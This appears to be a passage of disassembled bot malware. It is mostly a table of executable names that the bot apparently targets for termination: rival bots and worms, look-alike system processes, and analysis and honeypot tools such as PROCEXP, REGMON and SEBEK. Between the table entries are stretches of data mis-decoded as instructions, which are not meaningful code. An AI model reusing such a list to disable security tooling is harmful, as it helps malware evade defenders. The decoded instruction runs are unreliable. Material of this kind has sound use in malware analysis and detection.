dd offset aAlgs_exe ; "algs.exe"
dd offset aFun_exe ; "fun.exe"
dd offset aSpooisv_exe_0 ; "spooisv.exe"
dd offset aSysmgr_exe ; "sysmgr.exe"
dd offset aSmsc32_exe ; "smsc32.exe"
dd offset aMsrsys32_exe ; "msrsys32.exe"
dd offset a1sass_exe ; "1sass.exe"
dd offset aIsass_exe_0 ; "isass.exe"
dd offset aWiniogon_exe_0 ; "winiogon.exe"
dd offset aSvchost32_ex_0 ; "svchost32.exe"
dd offset aHosts_exe ; "hosts.exe"
dd offset aKspoold_exe ; "kspoold.exe"
dd offset aCmd32_exe ; "cmd32.exe"
dd offset aWgareg_exe_0 ; "wgareg.exe"
dd offset aWgavm_exe_0 ; "wgavm.exe"
dd offset aMsr_exe ; "msr.exe"
dd offset aNtdll64_exe ; "ntdll64.exe"
dd offset aIpcscan_exe ; "ipcscan.exe"
dd offset aSvhcost_exe ; "svhcost.exe"
dd offset aRas2_exe ; "ras2.exe"
dd offset aX_exe ; "x.exe"
dd offset aSavenow_exe ; "savenow.exe"
dd offset aMsappview32_ex ; "MSAPPVIEW32.EXE"
dd offset aScrtkfg_exe ; "SCRTKFG.EXE"
dd offset aC27d8fefD7ae42 ; "C27D8FEF-D7AE-42C0-82E6-F30598265639.EX"...
dd offset aWorm32_exe ; "WORM32.EXE"
dd offset aPenis32_exe ; "PENIS32.EXE"
dd offset aIexplor_exe ; "IEXPLOR.EXE"
dd offset aIexplore6_exe ; "IEXPLORE6.EXE"
dd offset aIexplore7_exe ; "IEXPLORE7.EXE"
dd offset aExxplorer_exe ; "EXXPLORER.EXE"
dd offset aBotpacked_exe ; "BOTPACKED.EXE"
dd offset aSvcchosst_exe ; "SVCCHOSST.EXE"
dd offset aSys32_exe ; "SYS32.EXE"
dd offset aShost_exe ; "SHOST.EXE"
dd offset aSass_exe ; "SASS.EXE"
dd offset aSeekmo_exe ; "SEEKMO.EXE"
dd offset aSms_exe ; "SMS.EXE"
dd offset aSvhostcs32_exe ; "SVHOSTCS32.EXE"
dd offset aSvhost32_exe ; "SVHOST32.EXE"
dd offset aRbot_exe ; "RBOT.EXE"
dd offset aSvchosts_exe ; "SVCHOSTS.EXE"
dd offset aSvchost32_exe ; "SVCHOST32.EXE"
dd offset aOwinssap_exe ; "OWINSSAP.EXE"
dd offset aWnl_exe ; "WNL.EXE"
dd offset aCrssr_exe ; "CRSSR.EXE"
dd offset aBling_exe ; "BLING.EXE"
dd offset aGreen_exe ; "GREEN.EXE"
dd offset aUpdate32_exe ; "UPDATE32.EXE"
dd offset aWinrarx_exe ; "WINRARX.EXE"
dd offset aMsie701_exe ; "MSIE701.EXE"
dd offset aServ454_exe ; "SERV454.EXE"
dd offset aDll64_exe ; "DLL64.EXE"
; ---------------------------------------------------------------------------
clc
lds eax, [eax+eax-10h]
lds eax, [eax+eax-1Ch]
lds eax, [eax+eax-28h]
lds eax, [eax+eax-38h]
lds eax, [eax+eax-44h]
lds eax, [eax+eax-50h]
lds eax, [eax+eax-60h]
lds eax, [eax+eax-6Ch]
lds eax, [eax+eax-7Ch]
lds eax, [eax+eax+78h]
lds eax, [eax+eax+6Ch]
lds eax, [eax+eax+60h]
lds eax, [eax+eax+58h]
lds eax, [eax+eax+4Ch]
lds eax, [eax+eax+3Ch]
lds eax, [eax+eax+2Ch]
lds eax, [eax+eax+20h]
lds eax, [eax+eax+14h]
lds eax, [eax+eax+8]
lds eax, [eax+eax-8]
les eax, [eax+eax-14h]
les eax, [eax+eax-20h]
les eax, [eax+eax-2Ch]
les eax, [eax+eax-38h]
les eax, [eax+eax-48h]
les eax, [eax+eax-58h]
les eax, [eax+eax-64h]
les eax, [eax+eax-6Ch]
les eax, [eax+eax-78h]
les eax, [eax+eax+7Ch]
les eax, [eax+eax+70h]
les eax, [eax+eax+64h]
les eax, [eax+eax+58h]
les eax, [eax+eax+48h]
les eax, [eax+eax+38h]
les eax, [eax+eax+2Ch]
les eax, [eax+eax+1Ch]
les eax, [eax+eax+0Ch]
les eax, [eax+eax-4]
retn
; ---------------------------------------------------------------------------
dw 44h
dd offset aSxserv101_exe ; "SXSERV101.EXE"
; ---------------------------------------------------------------------------
fadd st(3), st
inc esp
add ah, cl
retn
; ---------------------------------------------------------------------------
dw 44h
; ---------------------------------------------------------------------------
rol bl, 44h
add [eax-5FFFBB3Dh], dh
retn
; ---------------------------------------------------------------------------
dw 44h
; ---------------------------------------------------------------------------
xchg eax, esp
retn
; ---------------------------------------------------------------------------
dw 44h
; ---------------------------------------------------------------------------
mov bl, al
inc esp
add [ebx+eax*8+44h], dh
add [eax-3Dh], ch
inc esp
add [eax-3Dh], bl
inc esp
add [ebx+eax*8+44h], cl
add [eax-3Dh], al
inc esp
add [eax], dh
retn
; ---------------------------------------------------------------------------
dw 44h
; ---------------------------------------------------------------------------
and bl, al
inc esp
add [ebx+eax*8], dl
inc esp
add [ebx+eax*8], al
inc esp
add al, bh
retn 44h
; ---------------------------------------------------------------------------
dd offset aMsJava_exe ; "MS-JAVA.EXE"
dd offset aMsjava_exe ; "MSJAVA.EXE"
; ---------------------------------------------------------------------------
aam 0C2h
inc esp
add al, cl
retn 44h
; ---------------------------------------------------------------------------
mov eax, 0AC0044C2h
retn 44h
; ---------------------------------------------------------------------------
mov al, ds:940044C2h
retn 44h
; ---------------------------------------------------------------------------
test al, dl
inc esp
add [eax-3Eh], bh
inc esp
add [eax-3Eh], ch
inc esp
add [eax-3Eh], bl
inc esp
add [eax-3Eh], cl
inc esp
add [edx+eax*8], bh
inc esp
add [edx+eax*8], ch
inc esp
add [eax], ah
retn 44h
; ---------------------------------------------------------------------------
adc al, 0C2h
inc esp
add [eax], cl
retn 44h
; ---------------------------------------------------------------------------
dd offset aScrhost_exe ; "SCRHOST.EXE"
dd offset aBingoo_exe ; "BINGOO.EXE"
dd offset aBingo_exe ; "BINGO.EXE"
dd offset aWks_exe ; "WKS.EXE"
dd offset aSvhostcs32_exe ; "SVHOSTCS32.EXE"
dd offset aNtsf_exe ; "NTSF.EXE"
dd offset aSpoolss_exe ; "SPOOLSS.EXE"
dd offset aMysvcc_exe ; "MYSVCC.EXE"
dd offset aSerrv_exe ; "SERRV.EXE"
dd offset aWinsys_32_exe ; "WINSYS_32.EXE"
dd offset aSserrvv_exe ; "SSERRVV.EXE"
dd offset aWinsockx32_exe ; "WINSOCKX32.EXE"
dd offset aNetmsn_exe ; "NETMSN.EXE"
dd offset aMsdevelop_exe ; "MSDEVELOP.EXE"
dd offset aLsass32_exe ; "LSASS32.EXE"
dd offset aWinrpc_exe ; "WINRPC.EXE"
dd offset aSys_exe ; "SYS.EXE"
dd offset aWinupd_exe ; "WINUPD.EXE"
dd offset aSyser_exe ; "SYSER.EXE"
dd offset aAkwid_exe ; "AKWID.EXE"
dd offset aAk_exe ; "AK.EXE"
dd offset aWinl0gon_exe ; "WINL0GON.EXE"
dd offset aWinl0gin_exe ; "WINL0GIN.EXE"
dd offset aWinlogon32_exe ; "WINLOGON32.EXE"
dd offset aYesbron_com ; "YESBRON.COM"
dd offset aMsmpls_exe ; "MSMPLS.EXE"
dd offset aMsnplus_exe ; "MSNPLUS.EXE"
dd offset aTmrservice_exe ; "TMRSERVICE.EXE"
dd offset aInstall_sp_exe ; "INSTALL_SP.EXE"
dd offset aAlg32_exe ; "ALG32.EXE"
dd offset aMsnupdate_exe ; "MSNUPDATE.EXE"
dd offset aMsnupdater_exe ; "MSNUPDATER.EXE"
dd offset aMsner_exe ; "MSNER.EXE"
dd offset aMsmmsgr_exe ; "MSMMSGR.EXE"
dd offset aMsnmsgrr_exe ; "MSNMSGRR.EXE"
dd offset aSpoolv_exe ; "SPOOLV.EXE"
dd offset aSpoolvs_exe ; "SPOOLVS.EXE"
dd offset aKernel32_exe ; "KERNEL32.EXE"
dd offset aSssvhost_exe ; "SSSVHOST.EXE"
dd offset aLsass_32_exe ; "LSASS_32.EXE"
dd offset aIiexplore_exe ; "IIEXPLORE.EXE"
dd offset aIiexplorer_exe ; "IIEXPLORER.EXE"
dd offset aAsn1sys_exe ; "ASN1SYS.EXE"
dd offset aWgareg_exe ; "WGAREG.EXE"
dd offset aServices32_exe ; "SERVICES32.EXE"
dd offset aMicrosoft_exe ; "MICROSOFT.EXE"
dd offset aLinewsrv_exe ; "LINEWSRV.EXE"
dd offset aWinime_exe ; "WINIME.EXE"
dd offset aWservice_exe ; "WSERVICE.EXE"
dd offset aWservices_exe ; "WSERVICES.EXE"
dd offset aScsrc_exe ; "SCSRC.EXE"
dd offset aWinsvc_exe ; "WINSVC.EXE"
dd offset aWin32update_ex ; "WIN32UPDATE.EXE"
dd offset aDnssrv_exe ; "DNSSRV.EXE"
dd offset aDnssvc_exe ; "DNSSVC.EXE"
dd offset aDns32_exerxbot ; "DNS32.EXERXBOT.EXE"
dd offset aCrxbot_exe ; "CRXBOT.EXE"
dd offset aBot_exe ; "BOT.EXE"
dd offset aRundll_exe ; "RUNDLL.EXE"
dd offset aW32gen_exe ; "W32GEN.EXE"
dd offset aTaskmngr32_exe ; "TASKMNGR32.EXE"
; ---------------------------------------------------------------------------
fdivr qword ptr [esi-412BFFBCh]
inc esp
add ah, al
mov esi, 0BEB80044h
inc esp
add [esi+edi*4-415FFFBCh], ch
inc esp
add [esi+edi*4-4177FFBCh], dl
inc esp
add [esi+edi*4+44h], bh
add [eax-42h], dh
inc esp
add [eax-42h], ah
inc esp
add [esi+edi*4+44h], dl
add [esi+edi*4+44h], al
add [ebp+eax*8-41CBFFBCh], al
inc esp
add [eax], ch
mov esi, 0BE1C0044h
inc esp
add [eax], dl
mov esi, 0C4F80044h
inc esp
add [esi+edi*4], al
inc esp
add al, bh
mov ebp, 0BDEC0044h
inc esp
add ah, bl
mov ebp, 0BDCC0044h
inc esp
add [ebp+edi*4-424FFFBCh], bh
inc esp
add [ebp+edi*4-4267FFBCh], ah
inc esp
add [eax+7C0044BDh], cl
mov ebp, 0BD700044h
inc esp
add [ebp+edi*4+44h], ah
add [eax-43h], bl
inc esp
add [eax-43h], dl
inc esp
add [eax-43h], al
inc esp
add [eax], dh
mov ebp, 0BD240044h
inc esp
add [eax], bl
mov ebp, 0BD0C0044h
inc esp
add ah, bh
mov esp, 0BCF00044h
inc esp
add al, ah
mov esp, 0BCD40044h
inc esp
add al, cl
mov esp, 0C5F00044h
inc esp
add [esp+edi*4-4353FFBCh], bh
inc esp
add [esp+edi*4-39DBFFBCh], bl
inc esp
add [esp+edi*4-4383FFBCh], cl
inc esp
add [esp+edi*4+44h], ch
add [eax-44h], ah
inc esp
add [esp+edi*4+44h], dl
add [eax-44h], cl
inc esp
add [esp+edi*4], bh
inc esp
add [eax], dh
mov esp, 0BC200044h
inc esp
add [esp+edi*4], dl
inc esp
add [eax], cl
mov esp, 0BBFC0044h
inc esp
add ah, dh
mov ebx, 0BBEC0044h
inc esp
add al, ah
mov ebx, 0BBD40044h
inc esp
add ah, cl
mov ebx, 0C5E40044h
inc esp
add al, al
mov ebx, 0BBB40044h
inc esp
add [eax-63FFBB45h], ch
mov ebx, 0BB900044h
inc esp
add [ebx+edi*4-4487FFBCh], al
inc esp
add [eax-45h], ch
inc esp
add [ebx+edi*4+44h], bl
add [eax-45h], dl
inc esp
add [ebx+edi*4+44h], al
add [eax], bh
mov ebx, 0BB2C0044h
inc esp
add ah, dl
retn 44h
; ---------------------------------------------------------------------------
dd offset aWinsys_exe ; "WINSYS.EXE"
dd offset aWinz_exe ; "WINZ.EXE"
dd offset aXml_exe ; "XML.EXE"
dd offset aXml32_exe ; "XML32.EXE"
dd offset aLansas_exe ; "LANSAS.EXE"
dd offset aWuamgr_exe ; "WUAMGR.EXE"
; ---------------------------------------------------------------------------
fdivr qword ptr [edx-4533FFBCh]
inc esp
add al, al
mov edx, 0BAB40044h
inc esp
add [edx+edi*4-4567FFBCh], ah
inc esp
add [eax+7C0044BAh], cl
mov edx, 0BA700044h
inc esp
add [edx+edi*4+44h], ah
add [eax-46h], bl
inc esp
add [edx+edi*4+44h], cl
add [edx+edi*4], bh
inc esp
add [edx+edi*4], ch
inc esp
add [eax], ah
mov edx, 0BA140044h
inc esp
add [eax], cl
mov edx, 0B9F80044h
inc esp
add ah, ch
mov ecx, 0B9E00044h
inc esp
add ah, dl
mov ecx, 0B9C80044h
inc esp
add [eax-57FFBB47h], bh
mov ecx, 0B9980044h
inc esp
add [eax+7C0044B9h], cl
mov ecx, 0B9700044h
inc esp
add [ecx+edi*4+44h], ah
add [eax-47h], bl
inc esp
add [ecx+edi*4+44h], cl
add [eax-47h], al
inc esp
add [ecx+edi*4], dh
inc esp
add [ecx+edi*4], ch
inc esp
add [eax], ah
mov ecx, 0B9100044h
inc esp
add ah, bh
retn
; ---------------------------------------------------------------------------
dw 44h
dd offset aMsnmgr12_exe ; "MSNMGR12.EXE"
dd offset aMslaugh_exe ; "MSLAUGH.EXE"
dd offset aServlce_exe ; "SERVLCE.EXE"
dd offset aServlces_exe ; "SERVLCES.EXE"
dd offset aMstskmgr_exe ; "MSTSKMGR.EXE"
dd offset aVcmon_exe ; "VCMON.EXE"
dd offset aSsc_exe ; "SSC.EXE"
dd offset aLoadadv642_exe ; "LOADADV642.EXE"
dd offset aCcupdate_exe ; "CCUPDATE.EXE"
dd offset a568_exe ; "568.EXE"
dd offset aSpool_exe ; "SPOOL.EXE"
dd offset aSusp_exe ; "SUSP.EXE"
dd offset aIexplores_exe ; "IEXPLORES.EXE"
dd offset aDll32_exe ; "DLL32.EXE"
dd offset aReg32_exe ; "REG32.EXE"
dd offset aSvcdata_exe ; "SVCDATA.EXE"
dd offset aSysmonxp_exe ; "SYSMONXP.EXE"
dd offset aWinupd_exe ; "WINUPD.EXE"
dd offset aMsn_update_exe ; "MSN_UPDATE.EXE"
dd offset aWinupdtsrv_exe ; "WINUPDTSRV.EXE"
dd offset aNl210_bat ; "NL210.BAT"
; ---------------------------------------------------------------------------
lodsb
retn 44h
; ---------------------------------------------------------------------------
dd offset aIsmini_exe ; "ISMINI.EXE"
dd offset aIshost_exe ; "ISHOST.EXE"
dd offset aMssdev_exe ; "MSSDEV.EXE"
dd offset aIi_exe ; "II.EXE"
dd offset aNewbot_exe ; "NEWBOT.EXE"
dd offset aSchost_exe ; "SCHOST.EXE"
dd offset aWindowantasdiv ; "WINDOWANTASDIVRI.EXE"
dd offset aCtfmom_exe ; "CTFMOM.EXE"
dd offset aRecsl_exe ; "RECSL.EXE"
dd offset aInternet_exe ; "INTERNET.EXE"
dd offset aWinlogin_exe ; "WINLOGIN.EXE"
dd offset aWuaumqr1_exe ; "WUAUMQR1.EXE"
dd offset aQtask_exe ; "QTASK.EXE"
dd offset aSmsc_exe ; "SMSC.EXE"
dd offset aCmh_exe ; "CMH.EXE"
dd offset aTskmagr_exe ; "TSKMAGR.EXE"
dd offset aEraseme_exe ; "ERASEME.EXE"
dd offset aMessengerr_exe ; "MESSENGERR.EXE"
dd offset aQkkku_exe ; "QKKKU.EXE"
dd offset aWindowsvista_e ; "WINDOWSVISTA.EXE"
dd offset aMswins_exe ; "MSWINS.EXE"
dd offset aMyhost_exe ; "MYHOST.EXE"
dd offset aBsdmpldrvr642_ ; "BSDMPLDRVR642.EXE"
dd offset aRp5_exe ; "RP5.EXE"
dd offset aSvcvhost_exe ; "SVCVHOST.EXE"
dd offset aJswtss_exe ; "JSWTSS.EXE"
dd offset aWaucult_exe ; "WAUCULT.EXE"
dd offset aMsssmsngr6417_ ; "MSSSMSNGR6417.EXE"
dd offset aWinmpat_exe ; "WINMPAT.EXE"
dd offset aSvhostcs32_exe ; "SVHOSTCS32.EXE"
dd offset aWinpooch_exe ; "WINPOOCH.EXE"
dd offset aRundil_exe ; "RUNDIL.EXE"
dd offset aRundll_exe ; "RUNDLL.EXE"
dd offset aAg_exe ; "AG.EXE"
dd offset aA_bat ; "A.BAT"
dd offset aHbot_exe ; "HBOT.EXE"
dd offset aDbot_exe ; "DBOT.EXE"
dd offset aZz_exe ; "ZZ.EXE"
dd offset aTcpview_exe ; "TCPVIEW.EXE"
dd offset aTcpviewpro_exe ; "TCPVIEWPRO.EXE"
dd offset aTcpdump_exe ; "TCPDUMP.EXE"
dd offset aTcpmon_exe ; "TCPMON.EXE"
dd offset aTcpstat_exe ; "TCPSTAT.EXE"
dd offset aTcpstats_exe ; "TCPSTATS.EXE"
dd offset aSharemon_exe ; "SHAREMON.EXE"
dd offset aHostmon_exe ; "HOSTMON.EXE"
dd offset aWinsniff_exe ; "WINSNIFF.EXE"
dd offset aRegmon_exe ; "REGMON.EXE"
dd offset aProcexp_exe ; "PROCEXP.EXE"
dd offset aPortmon_exe ; "PORTMON.EXE"
dd offset aFilemon_exe ; "FILEMON.EXE"
dd offset aFport_exe ; "FPORT.EXE"
dd offset aTlist_exe ; "TLIST.EXE"
dd offset aProcdump_exe ; "PROCDUMP.EXE"
dd offset aProcdump32_exe ; "PROCDUMP32.EXE"
dd offset aPexplorer_exe ; "PEXPLORER.EXE"
dd offset aNetworkactivpi ; "NETWORKACTIVPIAFCTMV1.5.EXE"
dd offset aXdcc_install_e ; "XDCC_INSTALL.EXEDD.EXE"
dd offset aAoautoupdatena ; "AOAUTOUPDATENAV.EXE"
dd offset aCash_exe ; "CASH.EXE"
dd offset a0cash_exe ; "0CASH.EXE"
dd offset aCash7oc_jpg ; "CASH7OC.JPG"
dd offset aLogix_exe ; "LOGIX.EXE"
dd offset a2pac_exe ; "2PAC.EXE"
dd offset aOp_exe ; "OP.EXE"
dd offset aOoooo_exe ; "OOOOO.EXE"
dd offset aOooo_exe ; "OOOO.EXE"
dd offset aDgjdjg_exe ; "DGJDJG.EXE"
dd offset aArabz_exe ; "ARABZ.EXE"
dd offset aArabian_exe ; "ARABIAN.EXE"
dd offset aTbar_exe ; "TBAR.EXE"
dd offset aPusu_exe ; "PUSU.EXE"
dd offset aNaab_exe ; "NAAB.EXE"
dd offset aFtpit_exe ; "FTPIT.EXE"
dd offset aIcmd_exe ; "ICMD.EXE"
dd offset aXssh_exe ; "XSSH.EXE"
dd offset aTcpshell_exe ; "TCPSHELL.EXE"
dd offset aHidden32_exe ; "HIDDEN32.EXE"
dd offset aHiderun_exe ; "HIDERUN.EXE"
dd offset aHidden32_exe ; "HIDDEN32.EXE"
dd offset aHidden_exe ; "HIDDEN.EXE"
dd offset aHide_exe ; "HIDE.EXE"
dd offset aMsblast_exe ; "MSBLAST.EXE"
dd offset aBlast_exe ; "BLAST.EXE"
dd offset aSasser_exe ; "SASSER.EXE"
dd offset aSassere_exe ; "SASSERE.EXE"
dd offset aScrhost32_exe ; "SCRHOST32.EXE"
dd offset aWuamgrd_exe ; "WUAMGRD.EXE"
dd offset aWuamgre_exe ; "WUAMGRE.EXE"
dd offset aWins32_exe ; "WINS32.EXE"
dd offset aZfr_exe ; "ZFR.EXE"
dd offset aZf_exe ; "ZF.EXE"
dd offset aSvchost32_exe ; "SVCHOST32.EXE"
dd offset aSvc_exe ; "SVC.EXE"
dd offset aIexpl0re_exe ; "IEXPL0RE.EXE"
dd offset aSvcost_exe ; "SVCOST.EXE"
dd offset aSvhost_exe ; "SVHOST.EXE"
dd offset aSvhosts_exe ; "SVHOSTS.EXE"
dd offset aSvch0st32_exe ; "SVCH0ST32.EXE"
dd offset aScrh0st_exe ; "SCRH0ST.EXE"
dd offset aWuamkoppnp_exe ; "WUAMKOPPNP.EXE"
dd offset aSpoolss_exe ; "SPOOLSS.EXE"
dd offset aSysinfo_exe ; "SYSINFO.EXE"
dd offset aAddiq32_exe ; "ADDIQ32.EXE"
dd offset aNtsf_exe ; "NTSF.EXE"
dd offset aWindows_update ; "WINDOWS_UPDATER01.EXE"
dd offset aQq_exe ; "QQ.EXE"
dd offset aIexploree_exe ; "IEXPLOREE.EXE"
dd offset aCrss32_exe ; "CRSS32.EXE"
dd offset aSpool32_exe ; "SPOOL32.EXE"
dd offset aSpools32_exe ; "SPOOLS32.EXE"
dd offset aRun0nce_exe ; "RUN0NCE.EXE"
dd offset aMsdev32_exe ; "MSDEV32.EXE"
dd offset aPostcard_exe ; "POSTCARD.EXE"
dd offset aFoods_exe ; "FOODS.EXE"
dd offset aMswin32 ; "MSWIN32"
dd offset aHide_exe ; "HIDE.EXE"
dd offset aTaskhider_exe ; "TASKHIDER.EXE"
dd offset aNi_exe ; "NI.EXE"
dd offset aRview_exe ; "RVIEW.EXE"
dd offset aRadmin21_exe ; "RADMIN21.EXE"
dd offset aRadmin22_exe ; "RADMIN22.EXE"
dd offset aWsg32_exe ; "WSG32.EXE"
dd offset aXtc_exe ; "XTC.EXE"
dd offset aCiao_exe ; "CIAO.EXE"
dd offset aRdr32_exe ; "RDR32.EXE"
dd offset aWrapper_exe ; "WRAPPER.EXE"
dd offset aStub_exe ; "STUB.EXE"
dd offset aTemp_exe ; "TEMP.EXE"
dd offset aDftpd_exe ; "DFTPD.EXE"
dd offset aWinmaster_exe ; "WINMASTER.EXE"
dd offset aSlave_exe ; "SLAVE.EXE"
dd offset aSlave32_exe ; "SLAVE32.EXE"
dd offset aWinslave_exe ; "WINSLAVE.EXE"
dd offset aKralor_exehaxo ; "KRALOR.EXEHAXOR.EXE"
dd offset aMykralor_exe ; "MYKRALOR.EXE"
dd offset aAcc3pt_exe ; "ACC3PT.EXE"
dd offset aBeast_exe ; "BEAST.EXE"
dd offset aTq_exe ; "TQ.EXE"
dd offset aVirus_exe ; "VIRUS.EXE"
dd offset aVirus32_exe ; "VIRUS32.EXE"
dd offset aHoneyd_exe ; "HONEYD.EXE"
dd offset aHoneywall_exe ; "HONEYWALL.EXE"
dd offset aSebek_exe ; "SEBEK.EXE"
dd offset aSelebek_exe ; "SELEBEK.EXE"
dd offset aAntibotty_exe ; "ANTIBOTTY.EXE"
dd offset aSysd32_exe ; "SYSD32.EXE"
dd offset aRoo_exe ; "ROO.EXE"
dd offset aRoo32_exe ; "ROO32.EXE"
dd offset aHoney_exe ; "HONEY.EXE"
dd offset aTrojan_exe ; "TROJAN.EXE"
dd offset aSub7_exe ; "SUB7.EXE"
dd offset aBd_exe ; "BD.EXE"
dd offset aDoor_exe ; "DOOR.EXE"
dd offset aOmfglol_exe ; "OMFGLOL.EXE"
dd offset aOwned_exe ; "OWNED.EXE"
dd offset a1_exe ; "1.EXE"
dd offset a6_exe ; "6.EXE"
dd offset aDiablo_exe ; "DIABLO.EXE"
dd offset aDiabl0_exe ; "DIABL0.EXE"
dd offset aRunthis_exe ; "RUNTHIS.EXE"
dd offset aKit_exe ; "KIT.EXE"
dd offset aXdcckit_exe ; "XDCCKIT.EXE"
dd offset aXd_exe ; "XD.EXE"
dd offset aIcmd_exe ; "ICMD.EXE"
dd offset aHxdef100_exe ; "HXDEF100.EXE"
dd offset aBdcli100_exe ; "BDCLI100.EXE"
dd offset aRdrbs100_exe ; "RDRBS100.EXE"
dd offset aHxdofena_exe ; "HXDOFENA.EXE"
dd offset aHxgold_exe ; "HXGOLD.EXE"
dd offset aHxdef073_exe ; "HXDEF073.EXE"
dd offset aBdcli073_exe ; "BDCLI073.EXE"
dd offset aRdrbs073_exe ; "RDRBS073.EXE"
dd offset aHxdofena_exe ; "HXDOFENA.EXE"
dd offset aKeylogger_exe ; "KEYLOGGER.EXE"
dd offset aKeylog_exe ; "KEYLOG.EXE"
dd offset aKeylogg_exe ; "KEYLOGG.EXE"
dd offset aDrweb32_exe ; "DRWEB32.EXE"
dd offset aMsantispy_exe ; "MSANTISPY.EXE"
dd offset aAntispy_exe ; "ANTISPY.EXE"
dd offset aWinmrt_exe ; "WINMRT.EXE"
dd offset aWinmrt32_exe ; "WINMRT32.EXE"
dd offset aRcc_exe ; "RCC.EXE"
dd offset aIroffer_exe ; "IROFFER.EXE"
dd offset aIrbot_exe ; "IRBOT.EXE"
dd offset aOffer_exe ; "OFFER.EXE"
dd offset aIrxdcc_exe ; "IRXDCC.EXE"
dd offset aSdbot_exe ; "SDBOT.EXE"
dd offset aSd_exe ; "SD.EXE"
dd offset aSdbot05b_exe ; "SDBOT05B.EXE"
dd offset aSdbot05c_exe ; "SDBOT05C.EXE"
dd offset aT_bat ; "T.BAT"
dd offset aHax_exe ; "HAX.EXE"
dd offset aMsn_exe ; "MSN.EXE"
dd offset a101_exe ; "101.EXE"
dd offset aClass101_exe ; "CLASS101.EXE"
dd offset aSocks_exe ; "SOCKS.EXE"
dd offset aSox_exe ; "SOX.EXE"
dd offset aSockets_exe ; "SOCKETS.EXE"
dd offset aS0cks_exe ; "S0CKS.EXE"
dd offset aMsserv_exe ; "MSSERV.EXE"
dd offset aConvertxdccfil ; "CONVERTXDCCFILE.EXE"
dd offset aWinreg32_exe ; "WINREG32.EXE"
dd offset aWinnet_exe ; "WINNET.EXE"
dd offset aXftp_exe ; "XFTP.EXE"
dd offset aWebx_exe ; "WEBX.EXE"
dd offset aWebdownloader_ ; "WEBDOWNLOADER.EXE"
dd offset aSyst3m33r_exe ; "SYST3M33R.EXE"
dd offset aAgobot_exe ; "AGOBOT.EXE"
dd offset aAgobot3_exe ; "AGOBOT3.EXE"
dd offset aPhatbot_exe ; "PHATBOT.EXE"
dd offset aA_exe ; "A.EXE"
dd offset aAgo_exe ; "AGO.EXE"
dd offset aAg_exe ; "AG.EXE"
dd offset aAg32_exe ; "AG32.EXE"
dd offset aPb_exe ; "PB.EXE"
dd offset aWonk_exe ; "WONK.EXE"
dd offset aAgobotsvc_exe ; "AGOBOTSVC.EXE"
dd offset aForbot_exe ; "FORBOT.EXE"
dd offset aUrxbot_exe ; "URXBOT.EXE"
dd offset aAsn_exe ; "ASN.EXE"
dd offset aPnp_exe ; "PNP.EXE"
dd offset aUrx_exe ; "URX.EXE"
dd offset aDowner_exe ; "DOWNER.EXE"
dd offset aWebex_exe ; "WEBEX.EXE"
dd offset aLoader32_exe ; "LOADER32.EXE"
dd offset aRunbatch_exe ; "RUNBATCH.EXE"
dd offset aGsec_exe ; "GSEC.EXE"
dd offset aWindll_exe ; "WINDLL.EXE"
dd offset aDllhst_exe ; "DLLHST.EXE"
dd offset aWinhelp_exe_0 ; "WINHELP.EXE"
dd offset aExe_exe ; "EXE.EXE"
dd offset aExe32_exe ; "EXE32.EXE"
dd offset aUpdates_exe ; "UPDATES.EXE"
dd offset aT00lkit_exe ; "T00LKIT.EXE"
dd offset aRootkit_exe ; "ROOTKIT.EXE"
dd offset aRk_exe ; "RK.EXE"
dd offset aR00tkit_exe ; "R00TKIT.EXE"
dd offset aUtils32_exe ; "UTILS32.EXE"
dd offset aUniversal_exe ; "UNIVERSAL.EXE"
dd offset aDcomd_exe ; "DCOMD.EXE"
dd offset aDcz_exe ; "DCZ.EXE"
dd offset aDc_exe ; "DC.EXE"
dd offset aAkbot_exe ; "AKBOT.EXE"
dd offset aSxot_exe ; "SXOT.EXE"
dd offset aMssql32_exe ; "MSSQL32.EXE"
dd offset aSsql_exe ; "SSQL.EXE"
dd offset aWinsocket_exe ; "WINSOCKET.EXE"
dd offset aWinupdaterar_e ; "WINUPDATERAR.EXE"
dd offset aWmism23_exe ; "WMISM23.EXE"
dd offset aSysmgr64_exe ; "SYSMGR64.EXE"
dd offset aWebmsn_exe ; "WEBMSN.EXE"
dd offset aWanmpsvc_exe ; "WANMPSVC.EXE"
dd offset aEbay_exe ; "EBAY.EXE"
dd offset aWinsnte_exe ; "WINSNTE.EXE"
dd offset aWinpkr_exe ; "WINPKR.EXE"
dd offset aMswdns32_exe ; "MSWDNS32.EXE"
dd offset aBulk_exe ; "BULK.EXE"
dd offset aBlkl_exe ; "BLKL.EXE"
dd offset aIs67538_exe ; "IS67538.EXE"
dd offset aVideoati0_exe ; "VIDEOATI0.EXE"
dd offset aSpooisv_exe ; "SPOOISV.EXE"
dd offset aWiniogon_exe ; "WINIOGON.EXE"
dd offset aIsass_exe ; "ISASS.EXE"
dd offset aWinuppd_exe ; "WINUPPD.EXE"
dd offset aWinclean_exe ; "WINCLEAN.EXE"
dd offset aDisk10_exe ; "DISK10.EXE"
dd offset aW32sim_exe ; "W32SIM.EXE"
dd offset aWishs_exewsemg ; "WISHS.EXEWSEMGR.EXE"
dd offset aWnetwork_exe ; "WNETWORK.EXE"
dd offset aOwnt_exe ; "OWNT.EXE"
dd offset aUay_exe ; "UAY.EXE"
dd offset aHookiat_exe ; "HOOKIAT.EXE"
dd offset aJoined_exe ; "JOINED.EXE"
dd offset aRserver_exe ; "RSERVER.EXE"
dd offset aHtran_v1_exe ; "HTRAN_V1.EXE"
dd offset aBlkl_exe ; "BLKL.EXE"
dd offset aBox_exe ; "BOX.EXE"
dd offset aLam_exe ; "LAM.EXE"
dd offset aAbo_exe ; "ABO.EXE"
dd offset aLoadadv735_exe ; "LOADADV735.EXE"
dd offset aM_exe ; "M.EXE"
dd offset aNope_exe ; "NOPE.EXE"
dd offset aGt_exe ; "GT.EXE"
dd offset aNxm_exe ; "NXM.EXE"
dd offset aDual_exe ; "DUAL.EXE"
dd offset a5h7h8v6b1c5_ex ; "5H7H8V6B1C5.EXE"
dd offset aTamer_bat_exe ; "TAMER.BAT.EXE"
dd offset aOf_exe ; "OF.EXE"
dd offset aO1o2o3o4_exe ; "O1O2O3O4.EXE"
dd offset aOurnik_exe ; "OURNIK.EXE"
dd offset aPs2m_exe ; "PS2M.EXE"
dd offset aSecuraq_exe ; "SECURAQ.EXE"
dd offset aScans_exe ; "SCANS.EXE"
dd offset aTest_exe ; "TEST.EXE"
dd offset aKa6ber_exe ; "KA6BER.EXE"
dd offset aV1rg1n_exe_0 ; "V1Rg1N.EXE"
dd offset aU_exe ; "U.EXE"
dd offset aV1rgf_exe ; "V1RGF.EXE"
dd offset aJssa_exe ; "JSSA.EXE"
dd offset aAdv693_exe ; "ADV693.EXE"
